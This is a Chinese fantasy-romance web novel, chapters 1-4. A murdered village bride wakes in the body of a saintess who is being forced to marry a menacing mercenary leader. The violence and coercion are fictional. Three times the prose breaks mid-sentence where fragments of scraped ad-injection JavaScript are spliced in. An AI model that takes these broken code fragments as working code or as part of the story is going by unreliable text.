《在反派们的修罗场里摆烂》 1. 被杀了 埃比优大陆,魔法历293年。 一支翼龙队从苍穹上浩浩荡荡飞过。 这是黑暗佣兵团团长苏法尔与大陆圣女伊瑞妮的婚礼仪仗队,他们速度极快,犹如赶任务般争分夺秒降落在教堂前庭。 殿口所站的六位魔法师见新郎新娘已到,掌心抬起向外拉开,同时微动着唇默念咒语,几个用魔法做成的大型魔法阵便在阴沉的穹顶铺泻而开,如烟花般大放异彩,长久维持,迎接着到场的新郎新娘。 然而在同一片天空下,同样进行着一场婚礼,只不过是在大陆偏北的另一处小镇上,阵仗也没有前一场龙队的震撼,是一家平民百姓的喜事。 在这家平民的婚礼后台房间内,身穿白色婚纱的咪莉蜷缩着身子趴在地板,腰腹上血红一片,她咬着唇,喘口气都疼得哆嗦,惨白的脸上冒出薄薄的一层汗,她甚至能从光可鉴人的地板上看到自己痛苦的表情。 “咪莉,我早就警告过你的,我喜欢奥倾,你要把他让给我,你怎么不听啊!”一个甜美的声音说着,只是声线里充满女鬼索命般的阴森。 咪莉咬着舌尖逼迫自己清醒一点,听见女孩质问她的话后呆滞地抬头,眼里满是不解——什么?琉莎你什么时候跟我说过啊!我完全不知道好吗! 但是咪莉根本没有力气说话了,她的意识逐渐涣散,手心下捂着的伤口源源不断地淌出鲜血,铺满她身下的整个白玉地板,染红了天使般的婚纱。 她的血真的好多啊…… 这是咪莉死去前最后的思想,当然如果还有时间的话,她也会好好回想下琉莎什么时候跟她说过喜欢奥倾哥哥的话,然后拉着琉莎坐下来好好捋捋整件事情,把误会解释清楚。 但很可惜,她死了,死的时候还有琉莎猖狂的大笑为她送行。 唉,这花季的人生啊,就这么断了,她还没赚够钱把家里的小书店重新装修一番呢,妈妈的旧衣柜摇摇晃晃立不住也该换了…… 混沌的黑暗中,感叹自己命短还有许多事没做的咪莉感觉自己身子轻飘飘地悬浮着,耳边似乎还有人在说话,但是声音太小了,她听不清楚,只知道那应该是个年轻女人发出的声音,很轻柔,就像在诵读精灵族的圣诗一样有感情。 身上的疼痛也减少了许多,直至彻底没有痛感,但冷不丁的下坠感使她的身子陡然一落。 咪莉猛地睁开双眼,尸体回魂似地深吸了一口气,黑色瞳孔急剧一缩。 “祝黑暗佣兵团团长苏法尔大人武力浩瀚,兵团繁荣。” “祝埃比优大陆圣女伊瑞妮大人明亮如星,美丽常驻。” …… 一道浑厚的男声正在念着婚礼祝愿辞,咪莉机械地转头看过去,是一位穿着黑袍的牧师,着装很像她婚礼上的那位牧师打扮。 难道她其实做了一场噩梦?根本就没有什么琉莎喜欢奥倾哥哥然后因为嫉妒把她杀了的事情?现在她醒了已经在和奥倾哥哥进行仪式了? 意识还未完全回归的咪莉茫然地眨着黑色眼睛,然后看向对面站着的男人。 非常好看的一个绝美男人,但是她不认识。 来不及欣赏男人美色的咪莉怔忡着再看向四周。 这是一个非常华美宽敞的殿堂,由白玉珊瑚状的灯柱摆在各个角落照亮,成批有序的金色桌椅铺着彩绘样式的丝滑绸布,上面布置着精美宴席和簇簇百合作为点缀,椅子上坐着的客人们隆重装扮,衣着贵气,表情各异地看着她。 咪莉忽然觉得有些晃眼,不安到了极点。 她眯了眯眼,看向那高高的拱形窗扇,一道道光柱折射进来,衬得墙壁上的彩色精灵壁画唯美梦幻。 这里处处都散发着死贵死贵的气息。 而且这应该是个婚礼现场。 但并不是她的那场婚礼!她哪有那么大能耐能租起这么死贵死贵的大殿堂! 咪莉迅速低下头,摸了摸自己的小腹。 那里雪白一片,腰身被紧致的白色蕾丝勾勒出姣好形状,没有一丝一毫的伤口。 “啊……”咪莉终于不敢相信地惊呼出声,又摸了摸刚才还让自己痛得死去活来的伤口位置,确定自己完好无损。 被咪莉打断的牧师捧着那本厚书籍疑惑地看着咪莉,但严肃的婚礼现场上,他并没有出声询问,只是把目光移向了咪莉对面的男人身上。 男人身姿巍然如松,英气逼人,留着及耳黑发,穿着修饰身形的银色礼服,腰腹间扣着一条束腰的银色皮带,上面盘着一条做工精细姿态甚高的冷傲蛇饰。 他眉目里虽然展现出了柔和的弧度,却隐含冷漠之息,左侧的耳朵上还坠着一只精细小巧的墨色菱形耳钻,细细的银链随着主人动作摆出轻微的弧度。 好骚包的一个男人。 咪莉失神般地看着那只价值不菲的耳坠对男人做出个不客气的评价。 “怎么了?”男人轻声问着,虽然声音不大,但就近的宾客还是能听到些的。 “……”咪莉抬起头,看着眼前这个陌生到完全没印象的月光般的黑发男人,还是有些呆呆的。 这究竟是怎么一回事? 咪莉动了动唇,想开口问,却发现自己没办法开口说话,就好像被施了某种魔法一样。 但是明明刚才还能出声的。 “继续吧。”心情不善的男人对牧师礼貌说道。 “好,团长大人。”牧师说。 咪莉明显感觉到眼前这个虽然穿着昂贵礼服但并不是她的新郎的男人突然冷了好几个度,她确定刚刚自己被这个冷笑的男人施了禁语术! 咪莉脑子一团乱,她已经确定现在不是梦,被琉莎捅死也不是梦,至于为什么死了后又莫名其妙重生在陌生人的婚礼上,她也不清楚,但她直觉这跟那个在自己进入昏迷状态时诵读诗歌的女人有关。 “圣女大人,您愿意与苏法尔大人缔结婚姻吗?”牧师的声音稳稳落进咪莉耳中。 咪莉看了看牧师,确定牧师喊的自己,她没好气地瞪着给她施禁语术的坏男人。 愿意什么愿意?她现在能开口说话吗!苏法尔是谁啊?完全不认识,她不是什么圣女。 咪莉不能开口说话,但她还能动,于是暴躁的她伸出爪子朝男人挥去,然后被对方轻而易举捉住。 苏法尔微微一笑,古井无波的眼中似乎透着丝不符合本人气质的顽劣:“伊瑞妮,别闹。”随后他低头吻了下来,嘴角仍然翘着优雅弧度。 咪莉被这个冰冷的吻给惊得打了个哆嗦,她紧抿着唇,怒瞪已经移开的男人对牧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 师也是对众位贵客昭告:“她愿意。” 你凭什么替我回答啊,还有这是我的初吻啊啊啊!跟奥倾哥哥从小到大都没亲过一次居然就这么被一个陌生人给亲了! 咪莉只能在心中悲催地怒嚎。 苏法尔看出咪莉的不痛快,他俯下脸,目光平静,却仿佛蛰伏着猛兽般危险:“伊瑞妮,乖一点,否则你承受不起后果。” 咪莉怔怔地看着苏法尔,她觉得对方的眼神就像在看待一件得来不易的珍藏品要慢慢研究剖开那样耐人寻味。 咪莉忽然有些害怕,哪有新娘当天被新郎威胁的?看那表情和语气完全不是开玩笑,这新娘原主绝对是被强迫的! 咪莉二话不说直接撩起长长的白色裙摆在全宾客的集体注目下往外走去,一副“这婚我不会结的谁爱结就结”的仓皇逃跑模样。 这男人是谁都不知道,她怎么能跟一个可怕的陌生男人结婚?现在当务之急是弄清楚这是怎么一回事,然后回家,她的妈妈和奥倾哥哥一定急坏了,还有这具不属于她的身体,得好好跟妈妈解释一番,真是头疼。 然后咪莉发现两边的客人们明显察觉到婚礼氛围的诡异但并没有一个人出来阻止这场看似强制性的婚礼。 他们在忌惮什么,是她身后那个可怕的团长大人吗?她因为体质原因不能修习魔法,但她还是能通过目视一个人来简单地判断对方实力如何。 那个被称为团长大人的苏法尔,实力深不可测,是她就算会魔法修炼一辈子也估计达不到的顶尖高度。 可恶,要是能修习魔法就好了,她也想像别的女孩子挥动魔杖或者念念咒语就能横扫一大片敌人的能力!当然她绝不是爱暴力的屠杀者,她只是偶尔会幻想着自己是个披荆斩棘无所畏惧的英雄一下下。 “哎?圣女大人怎么突然要走?” “好像出什么岔子了?圣女大人和团长大人看起来刚吵完架。” “大婚当日还吵架,小两口挺有情趣啊。” “快别说了,苏法尔大人脸色已经变了!” 不想掺和的贵客们都张着嘴一言不发明哲保身,但脸上表情还是过于惊讶圣女大人竟公然给黑暗佣兵团团长摆脸色。 而神经大条的几个吃瓜群众还在猜测是小两口吵架,他们看着气鼓鼓的新娘大步流星地走在红毯上,然后被冷着脸的新郎上前抓住手腕强制地拽回去。 从新娘吃痛的表情可以看出,新郎手段十分暴力。 “圣女大人以后会很不幸福的!” 一个少年终于鼓气勇气满脸气愤地站起来为新娘抱不平,一副要拯救公主于水火的骑士模样。 然后唰唰几道视线落在这位要当骑士的青涩少年身上,眼神无声说道:敢和闻风丧胆的黑暗佣兵团团长作对的勇士,真是令人佩服! 然而还没等这位勇士出来伸张正义,就被旁边的大胡子爷爷一大巴掌拍下去:“想活命就闭嘴!” 不甘心的少年还要再说什么,但是看着爷爷眼中不怒自威的警告后,他蔫头巴脑地重新坐了回去,他当然明白跟苏法尔对立会有怎样的后果,他同情地看着已经被按在台上的受制新娘,然后再对新郎投去几个鄙视痛恨的眼神,恨自己不够强大,只能眼睁睁地看着恶霸团长欺压柔弱圣女。 2. 第 2 章 为了防止咪莉再反抗,苏法尔很简单粗暴地按住咪莉单薄双肩,他并没有看咪莉,而是先对客人们解释:“伊瑞妮有些害羞,在任性呢,诸位请便。” 苏法尔虽然笑得优雅端正,仪表得体,周身气压却压抑到令人心生恐惧,仿佛有一头狂暴的野兽随时会从他体内冲出来肆咬所有人。 他早已预料到伊瑞妮不会乖乖嫁给他,但已经到了此时此刻,伊瑞妮只能落在他的手中。 咪莉惊怒交加,在苏法尔手中胡乱挣扎,用眼神将眼前的男人千刀万剐着。 谁结婚会因为害羞到拼了命要逃?还把新娘毫无尊严地给死死按住在众目睽睽之下被客人上下左右无死角惊叹观赏,这简直就是她人生中的奇耻大辱! 咪莉鼓气勇气呲着牙一头撞过去,不知道是因为羞愤到想撞腹自尽还是想用自己的脑袋把无良男人给撞死。 所有人都倒吸一口气,在他们眼里,伊瑞妮大人的行为是在无理取闹给新郎难堪,毕竟有什么矛盾私下解决,当着百来号人在婚礼上闹这不丢人吗?这种撒泼行为绝对会惹怒苏法尔。 但结果出人意外,生气的新娘被男人抱在怀里轻轻拍着头顶,在新娘耳边柔声低语,从男人无奈的唇角可以推断出大概是在好脾气地哄人。 “苏法尔大人真是温柔体贴啊,想嫁!” “你都已经有未婚夫了怎么还想着苏法尔大人?!花心!” “想想又不犯法~” 女孩们眼冒粉红泡泡羡慕地看着那对郎才女貌的新人,脑子里本来浮现的苏法尔大人难道是逼迫圣女结婚的想法立刻抛之脑后,苏法尔大人动作眼神那么柔情似水,怎么可能是逼迫圣女大人呢?而且当初圣女大人笑着在维德希那广场上答应苏法尔大人结婚的情景还历历在目,大概是圣女大人在胡乱发脾气吧。 唉,圣女大人竟然会这么不懂事。 女孩们看着圣女的眼神已经开始有些嫌弃了。 但咪莉听到的是苏法尔实打实的威胁:“伊瑞妮,别试图一直惹怒我,我的威胁从来不是玩笑。”说完他还歪了歪头,一副人畜无害的俏皮模样:“出尔反尔可不是圣女的好品行。” 虽然没听懂这混账男人后面那句话的意思,但咪莉还是老实了,她甚至浑身颤抖起来,这个男人的眼神黑得深不见底,那抹顽皮是如何也掩盖不了底下的残忍。 咪莉愣了大半天,在苏法尔不留丝毫余力的钳制下她动弹不得,只能任其摆弄完成所有仪式。 强人所迫就是你的好品行吗?! 刚被苏法尔差人要送回去的时候,血气翻涌心中怒骂的咪莉两眼一昏完全没有任何预兆地昏过去了,大概是灵魂与身体还未完全契合,又因为动怒导致昏厥。 …… 一片浓黑的意识空间里,两个女孩在对话,但她们没有任何形态展现,仿佛只是一抹空气。 “咪莉,记住你现在的身份,你的名字是伊瑞妮,埃比优大陆的圣女,你不再是咪莉了。” “你是谁?我就是咪莉,是你把我弄到这危险的地方来的?你这坏女人!” “你这丫头怎么骂人呢……好吧,是我把你弄来这里的,因为我做了一个梦……” “快把我变回咪莉!!!” “……”只是一缕气的某人被某暴怒小丫头给吼得颤巍巍地抖了一下,“你这丫头,哪来那么多力气,先听我把话说完。” “哼。”咪莉冷哼。 “你现在出现在这里的原因,是因为我小时候做过一个梦,我梦见成为圣女的我在十八岁时会有灾祸降到我头上……” “然后你就找了个替死鬼要替你承受这灾祸?坏女人!”咪莉再次咬牙切齿地愤怒打断。 “咪莉,你这样想人家真的很伤心,人家是这种为了自身安危而去伤害无辜的你的卑鄙小人吗?” “……那你到底为什么这么做?”咪莉被那少女泫然欲泣楚楚可怜的声音给弄心软了。 “因为这样就可以让你替我承受这一切灾祸了。”一缕气的少女说得就像和善可亲的邻居家大姐姐那样温柔,完全听不出来一点恶作剧的样子。 “……” 咪莉醒来的时候天已经完全大亮,数道金色光柱从巨大的飘窗里射进来,将室内染得一片灿烂。 她做了一整夜乱糟糟的碎梦。 梦里琉莎拿着匕首要杀她,她当时很害怕的,可是害怕根本没有用,她还是那么轻易地就死了,她还梦到妈妈抱着她的尸体哭成泪人,她想伸出双臂抱回去,可她抬不起手来,一动也不能动。 再然后就梦见了一个没有形态的少女,她展现出来的气态很柔绵,颜色像水晶玻璃杯里盛放的牛奶那样白皙莹润。 咪莉醒来的时候,耳边似乎还回荡着那个少女的话语,她推断那个少女就是埃比优大陆的圣女——伊瑞妮。 伊瑞妮最后跟她说:“咪莉,千万不要像个小傻瓜暴露自己的真实身份,因为我对你使用的灵魂转换有项非常残酷的制约,那就是自己说出真相的话灵魂会灰飞烟灭。” 咪莉从床上起来坐了一会儿,努力回忆着梦里的对话,伊瑞妮并没有交待很多,说得不清不楚,比如为什么会在这么大的世界里选中她来进行灵魂交换,还有那灾祸又是什么。 她无神的双眼看了看这个陌生房间,已经开始思考能不能用那什么灵魂转换重新回到自己身体里,但她不会魔法,这又是个难题。 她身下是一张特别大的亚麻色软床,比她原来睡的床至少要大三倍左右,而这个房间也很空旷。 对,就是空旷,房间很大,但家具非常少,除了身下这张床以外,房子中心有张半弧形的米色玉石桌,旁边围着一圈同色的沙发,沙发质地看起来很贵,不像她家里那张破旧到沙发腿需要用瓦片垫着的劣质木。 她面对的那张墙壁上挂着长型巨幅壁画,上面是十几只精灵在鸟语花香的花园各自玩耍的融融画面。 咪莉穿上床边的拖鞋,身上还是昨天穿的婚纱礼服,她下床走了两步,看着这间简洁大气到像博物馆般的房子,头一次见识到了城里人的奢华。 她觉得自己在这头说话的话,另一头很有可能会出现她的回音。 她乡下小镇出生的,不能怪她这么没见识,昨天那座巨大豪华宫殿已经让她惊讶得合不拢嘴了。 咪莉晃晃清醒的脑袋,刚踏出门半步,就被门口的两个守卫严肃地给挡了回来,他们穿着特别帅气的白色制服,板着方方正正一丝不苟的冷漠脸对咪莉说:“伊瑞妮大人,团长大人有令,您不能出这间屋子。” 咪莉额角蹦出好几条筋,再一次肯定那个什么狗屁苏法尔团长绝对是把这圣女给掳来当新娘的!如果新娘是自愿的,怎么可能还把新娘当犯人一样监禁。 “他什么时候回来?”咪莉问道,那个“他”指的自然是她骂的苏法尔。 一个守卫说不上有多恭敬地回道:“不清楚。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 咪莉哼了一声准备回屋里,却突然提着裙摆转身往外面冲。 两个守卫愣了一下,显然没料到这传说中温柔可人的圣女大人会如此孩子气,等他们反应过来准备上前抓人时,忽然停了下来,看向上空。 咪莉也刹住了脚,她仰着脸看着天上,蓝到清澈的高空中有个大黑点朝这边移动着,等到那会动的大黑点越来越近,咪莉终于看清了,那是一头长达十余米的黑色双翼龙,龙背上坐着一个黑发和衣服随风鼓动的俊美男人。 大概是对庞大生物的天生恐惧,咪莉见黑翼龙越来越近,她心脏猛跳,无意识地后退了一步。 黑翼龙飞翔速度很悠哉,就像从自家后花园散步回来一样散漫慵懒,它稳稳地载着主人落到宽敞平整的庭地上,掀了掀黑色眼皮睨了咪莉一眼,傲慢的灿金色眼神里写满了对那小丫头的藐视。 无语的咪莉接收到黑翼龙对她的蔑视,由衷感慨真不愧是强盗养出来的宠物,和主人性格十分贴合。 但她依然很喜欢龙这种生物,在家乡里,她见过的最威风的坐骑是狮鹫兽,而且机会还很少,是她偶尔跟着奥倾哥哥去都城进货时,才能看见骑士们骑着全身毛发飘柔气质华贵威严的狮鹫兽在天空中一闪而过。 至于为什么称苏法尔为强盗,那是因为在她心里已经把看起来稳重可靠实际上心怀叵测的苏法尔定义为强抢良家圣女当压寨夫人的大恶人了。 咪莉忽然皱了皱眉,开始对圣女的良家身份持怀疑态度,因为造成这一切的罪魁祸首正是那个为了转移祸害而连累她的无良圣女啊! 从黑翼龙身上跳下来的苏法尔看见庭中的女孩低着头皱眉,又忽然抬起头瞪着他,他轻笑了下:“还挺有精神。” 苏法尔的笑刺激到了咪莉,她怒视说:“你想对我做什么?” 苏法尔听后皱了皱眉:“伊瑞妮,你现在有点像……” 咪莉睁大眼睛疑惑,她还不习惯被称呼别人的名字,但仍旧像等老师指点的乖学生模样等苏法尔的下文——像什么? 苏法尔思考了一下,很快舒展开神色说:“像一个答应了别人承诺又事后出尔反尔耍无赖的孩子。” 咪莉愣住,脑子就像个零件生锈的机器嘎吱嘎吱慢悠悠运行,她不明白苏法尔说的意思,难道伊瑞妮是自愿答应结婚的? 这样一来就说得通了,苏法尔昨天就说过她出尔反尔的话。 可是感觉还是不对劲。 咪莉抬头看向苏法尔,见她看过去,苏法尔嘴角的笑意加深,一副不怕她闹的有恃无恐态度,就像在说“闹吧闹吧,不管你怎么折腾我都有法子制服你让你老老实实当我的压寨夫人”。 面对苏法尔这双黑幽幽的眼睛,咪莉开始紧张起来。 她绝对不能让这个人知道自己的真实身份,这人不顾伊瑞妮意愿强行与其结婚的行为看得出来是个爱对方爱到疯执的狂徒,如果被对方知道自己不是伊瑞妮还占了人家身体,指不定要怎么被报复,狂徒的心理是无法按照普通人心理猜测的。 可是明明是伊瑞妮做的这一切啊!她的婚礼都被搅黄了!她的妈妈,她的奥倾哥哥,一定都还在乡下等着她……等等,她的灵魂到了伊瑞妮体内,那伊瑞妮的灵魂是不是也在她的体内?然后伊瑞妮那个可恶的坏圣女占用她的身体跟奥倾哥哥结婚…… 咪莉抱头,一副惊悚外加愤怒的样子,她焦急地咬着手指,开始大脑风暴想办法怎么回家。 3. 第 3 章 苏法尔看着眼前这个脸上表情可以说是精彩纷呈的女孩,不知道心里究竟在想什么才会如此忘我,他盯着陷入自己世界的咪莉,思考了几秒后说:“伊瑞妮,吃过午饭后和我去一个地方。”随后朝房内走去。 咪莉抬头看他一眼,脱口而出:“不要。” 苏法尔停下来回过头看着少女,大概是想到了昨天婚礼上伊瑞妮突然要悔婚的惊人举动,微微头疼,他觉得眼前的伊瑞妮变得十分古怪,和之前的态度完全判若两人。 他轻轻皱眉说:“伊瑞妮,为什么会突然这么任性?昨天你当众悔婚,所以我不得不对你采取强制措施,关于这点我向你道歉,但你也要给我一个解释。” 咪莉想起昨天在婚礼上这男人的种种暴力行为就生气,而且对方的道歉态度完全没有诚意,就像在哄小孩儿似的那样敷衍,她一脸鄙视地选择着尽量不会暴露自己身份的措辞说:“我现在很怀疑我是不是自愿嫁给你的,因为我感觉不到任何对你的感情,该不会是你用了什么控制术诱使我说出嫁给你的话吧?” 苏法尔微哂,黑色的瞳仁里闪出些细碎光泽:“这种魔法并不多见,我目前没有这种能力。” 他又神秘一笑:“而且伊瑞妮你是被埃比优大陆之神选中的圣女,不会那么轻易就被控制,你当时确实是心甘情愿答应我的求婚的。” 说到这里,苏法尔忽然脸色一惑,一只手端起手肘另一只手扶着下巴,开始沉思。 他昨天对伊瑞妮使用的禁语术居然会生效,按理来说圣女体质是对一切小魔法产生自主免疫力的,难道他的能力在他不知道的时候突破了更高一层,所以就连特殊的圣女也会中他的这些小魔法? 咪莉见苏法尔的眼神带有些困惑地看着她,她抿抿唇问:“你说的是真的?” 那伊瑞妮为什么会在这种人生重大时刻选择灵魂转换?她真的想一头撞死。 咪莉完全想不通,又陷入崩溃中,她得找机会再问问那该死的伊瑞妮这到底是怎么一回事。 苏法尔看着一脸彷徨的女孩,本来他认为伊瑞妮是因为后悔了才一直狡辩拒绝承认结婚是她自主意愿,可眼前的女孩好像真的是焦头烂额迷惘不解。 如果是装的,那他不得不承认这伊瑞妮的演技高超到连他也被蒙蔽。 苏法尔心里虽然也对眼前的伊瑞妮有很多疑惑,但他只点了点头,继续往屋内走:“先吃饭吧。”他刚回来确实是有些饿了。 咪莉回神,很想硬气地拒绝,无奈肚子不争气,当着苏法尔的面还有守卫的面就那么咕噜咕噜叫了两声,像是在响应苏法尔的话似的那么积极。 咪莉垂头丧气,觉得还是先吃饭吧,然后跟着苏法尔走了进去。 苏法尔看着哀怨的咪莉很内敛地笑了一下,毫不意外地惹来咪莉一个眼刀子。 吃饭前咪莉还得先换下身上这件繁琐的婚纱,她按照苏法尔的指路去了换衣内室,在衣柜里随便拿了一条白色的双肩带连衣裙,然后准备换的时候,余光瞥到一旁的全身镜后愣住了。 镜子里的女孩留着一头黑色的长发,瞳孔也是黑色。 女孩个子并不高,这是咪莉一早就察觉到的,因为和苏法尔说话时她总是要站远好几步才不会让脖子抬得那么累。 女孩身姿也相当美丽,纤细的腰肢仿佛柳条一样柔软无骨,各方面比例都非常匀称曼妙,该有的都有,不该有的也不会多出一丝赘肉。 但咪莉的眼睛却瞪得大大的,她不可置信地跑到镜子前,看着里面和她同样表情的黑发女孩。 镜子里的女孩——本该是伊瑞妮的身体,和她长得一模一样。 不论是相貌还是身形,咪莉都确定,伊瑞妮这个身体和自己的没有丝毫差别! 为什么?为什么她和伊瑞妮拥有同一张脸和身体?世界上怎么会有长得一模一样的两个人? 不,也是有的,比如双胞胎之类的。 咪莉咬着大拇指,眉头绞深。 难道她的妈妈其实生了双胞胎,但因为家庭经济状态不好逼不得已选择放弃一个孩子导致她的姐姐或妹妹流落在外? 已经开始脑补狗血剧情的咪莉在内室待了长达十五分钟都没出来,苏法尔吃面包吃到一半觉得不对才起来去催了催,一开门就看见面如菜色的女孩魂不守舍地走了出来。 “伊瑞妮,发生什么事了?”苏法尔问。 咪莉坐在餐桌前,双手扶着额头低声喃喃着:“妈妈……你怎么都没告诉我……” 苏法尔看对面女孩的眼神越发复杂,自从昨天开始,伊瑞妮的一举一动都不再是那个圣女往常矜持含蓄的模样,现在反而有些像还在叛逆期的孩子。 两人在长餐桌前各自坐着,沉默无声。 餐桌上面摆满了各式白奶酪制品、刚出烤炉的滋滋冒油的烤肉片、五花八门的各种果干、色泽鲜嫩的奶酥,还有看起来晶莹剔透的玫红色饮料。 咪莉抬眸瞄了一眼桌上丰富琳琅的食物,又看见对面的苏法尔一直在用一种奇怪到她不知道怎么形容的眼神在看她。 算了,先不想了,不管是姐姐还是妹妹什么的,她现在什么都没办法知道,只能等伊瑞妮再次出现在她的梦中了,然后想办法找机会脱离这个鬼地方。 咕噜咕噜——肚子又在对面对满桌美食却兀自发呆的主人发出强烈抗议。 吃饭要紧。 咪莉顾不上丢脸,赶忙安抚肚子发出的抗议拿起距离最近的千层三明治咬了一口,然后又把目光放在旁边玻璃杯里盛放的玫红色饮品。 苏法尔对情绪已经恢复正常端起玻璃杯的好奇咪莉解释:“那是亚梅酒,很适合女孩子喝。” 咪莉小小地嘬了一口,甜丝丝的,还带有微醺的酒香,她放下杯子若无其事般说:“苏法尔,你根本就不是因为喜欢我才和我结婚的吧。” 苏法尔用餐刀抹树莓果酱的动作并没有停顿,只是好整以暇地看了一眼咪莉:“喜不喜欢不重要,重要的是你和我结婚就行了。” 从目前的状态来看,苏法尔表现的行为看起来像个为爱用强的狂徒,可咪莉又觉得哪里不对,她说不上来,她觉得苏法尔面对伊瑞妮时没有一点喜欢的感情,所以才随口问了那句话,但没想到苏法尔的回答这么直接,直接到让她错愕地睁大眼睛,手中的面包片掉落在白色瓷盘里。 这个可恶的渣男! 不等咪莉说话,苏法尔看着她说:“伊瑞妮,你很奇怪。” 咪莉再次愣住,心跳微微加速地紧张起来,她这么快就要被发现了吗?不行不行,暴露身份就要灰飞烟灭,她不想死也不能死,她还要回到家乡,她的妈妈还有奥倾哥哥都在那里…… “哪里奇怪?”咪莉强装镇定地咬了一口三明治里夹着的肉片。 苏法尔先是吃了一口面包,慢条斯理地咀嚼完,才沉吟道:“你所表现出的一切让我以为你根本不清楚我们之间有过什么。” 她表现得有这么漏洞百出吗? 咪莉看着这个男人,觉得对方的目光犹如看透人心的黑洞,令她胆战心惊,她觉得不能再这样一直试探下去了,否则早晚会被拆穿。 咪莉闭上眼睛深吸一口气,然后睁开眼睛对一直凝望她的男人肃然说道:“苏法尔,我要告诉你一件事。” 苏法尔用叉子叉起一块肥嫩的烤肉:“你说。” 咪莉说:“我失忆了。” 咪莉看到对面的男人眼神有那么一瞬间的变化,但太过细微又极快消逝所以她没分辨出那是什么情绪。 苏法尔黑漆漆的眼睛平静地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 盯着咪莉说:“伊瑞妮,你记得我是苏法尔。” 咪莉面不改色地说:“因为昨天牧师念誓词时说过你的名字。” 苏法尔放下餐刀,目光一直停留在咪莉脸上,开始陷入思考。 如果是失忆的话,那么伊瑞妮自昨天起所表现的惊人举动算是正常的,和一个不认识的人举行婚礼……不,并不正常,失忆的人一片空白,反应不该那么激烈,伊瑞妮的表现明显更像是有清晰意识才拒绝结婚。 但他决定顺着对方的话,假装震惊地问:“怎么会突然失忆?”看起来真的很像一个关心妻子的深情丈夫。 看着苏法尔如此担心的神色,咪莉扯了扯嘴角,表示“你装什么深情款款好丈夫”,刚刚才说过什么“喜不喜欢不重要”这类渣男话语!亏她本来还觉得苏法尔是个只能得到爱人身体却得不到心的可恨又可怜的人,原来就是个纯可恨的人! 咪莉不再多想,对于苏法尔的问题她很好应付,无辜又理所当然地说:“我要是知道自己怎么会失忆的就不会失忆了。” “连自己是谁也忘记了?”苏法尔问。 咪莉点头:“嗯,我的一切也不记得了。”她没有伊瑞妮的成长经历,这样说是保险的。 她就是一口咬定自己失忆了,反正她确实不知道伊瑞妮是谁,苏法尔又是谁,两人之间又有过什么约定,这点她可不是装的。 苏法尔像是要在咪莉脸上看出朵花来那样仔细,女孩的话证实了他心中猜测——伊瑞妮在说谎,这绝对不是失忆的人该有的症状。如果这是伊瑞妮为了悔婚而说的谎,那他没必要为此烦恼。 伊瑞妮有没有说谎,失不失忆都逃不掉的,不会对他的计划有任何影响,圣女身上所存在的强大力量他不论任何方法都会取得,只是时间早晚的关系而已。 “没关系,你失忆的原因我会查清楚,既然你什么都忘了,那我会慢慢告诉你,你答应过我什么,我们之间有过怎样的约定。” 苏法尔体贴地说完,端起亚梅酒品尝着,嘴角不禁有些笑意,其实伊瑞妮要真是失忆了还好办,他可以编织任何故事来骗伊瑞妮说——看,伊瑞妮,你很爱我,你爱我爱到可以做出任何事情。 咪莉忽然觉得周围很冷,对面的男人笑得有些怪异,偶尔抬眸瞥向她的眼神就像侵蚀内脏骨骼的毒液慢慢融化她,令她毛骨悚然。 咪莉完全没有胃口了,她阴森森地说:“谁知道你说的是不是真的,我才不会信你说的话。” 苏法尔微笑:“伊瑞妮,你要相信我的话,我不会对你不好的。” 咪莉翻了个大白眼,信你才有鬼!一肚子坏水样! 虽然她是乡下生长的单纯女孩,但她也是经过妈妈和奥倾哥哥无数教导过的。 妈妈和奥倾哥哥从小就告诉她了,大城市里的男人说的话不能轻易相信,因为一些坏男人会对不谙世事的懵懂女孩骗人又骗心,最后还会因为腻了随便找个理由就把女孩给甩掉,然后女孩就会伤心欲绝没脸回家,严重的还会用自杀这种方式来乞求根本不理睬她们的坏男人回心转意…… 她才不会做这种傻女孩,况且她已经和奥倾哥哥结婚了。 不过,她和奥倾哥哥算结过婚了吗?还没举行仪式她就被琉莎在婚礼后台杀死了。 不知道妈妈和奥倾哥哥现在怎么样了,伊瑞妮那个坏女人是不是霸占着她的身体假扮她呢? 这都怪伊瑞妮和眼前这个混蛋男人! 苏法尔也不在意咪莉对他恶意满满的表情,他用餐的动作依然优雅:“快吃吧,饿肚子对身体不好,吃完带你去个地方。” 咪莉还是那句叛逆的话:“不要。” 苏法尔却没回答什么,因为女孩反抗不了他,他有一百种方式可以挫磨女孩的锐气。 4. 第 4 章 咪莉吃完这顿不怎么愉快的午餐后,在苏法尔充满威压的视线下,决定暂时忍气吞声,老老实实跟他出门。 而且要弄清楚她身处什么地方,也该出去看看。 只是咪莉不会骑龙。 咪莉看着这头属于她的银色翼龙,吃惊地问:“我要骑着它吗?” 这头银色翼龙相比苏法尔那头黑翼龙体型较小,水蓝色的眼眸纯净明亮,看上去温和多了,它正乖巧地俯趴在地面上等待主人上去。 出门骑龙,这是咪莉一辈子都没想过的事情,她家里的旧马车都修修补补了好多年一直维持至今日,她最多幻想过可以坐着威严勇猛的狮鹫兽而已。 苏法尔已经走到他的那匹专属黑翼龙座驾前,他回过头,凉凉的微风吹动他的发梢:“怎么了?” 他的目光总是莫名犀利,让咪莉根本无法隐藏自己任何心思,咪莉撇过头避开,恶声恶气:“我失忆了,骑不好。” 从小生活在安逸小镇上的咪莉自然渴望可以坐上这头漂亮的银龙,她若是会魔法,即使没骑过也可以尝试驾驭,但她不敢赌。 万一这龙察觉到她体内的灵魂已经不是她原来的主人,然后大发雷霆地从天上把她扔下来那绝对摔个稀巴烂。 苏法尔闻言静静地望着一身倔气的女孩,深黑色的眼眸无波无澜,他对旁边等待的近侍格雷说:“给她安排马车,我先过去,你们尽快赶来。” 什么?她不能跟格雷在同一匹龙上挤一挤吗?她又不胖。 苏法尔扫了一眼睁大双眸望着他的女孩,对格雷补充道:“伊瑞妮失忆了,为了保证她的安全,一定要寸步不离地守着她。” 潜台词就是看着她别让她跑了。 咪莉有些愤怒。 然后那个男人对她微微一笑,潇洒离去。 咪莉看着那个男人已经乘着黑翼龙冲向天空,只留给她一条惬意摇摆的龙尾巴背影。 咪莉有些向往。 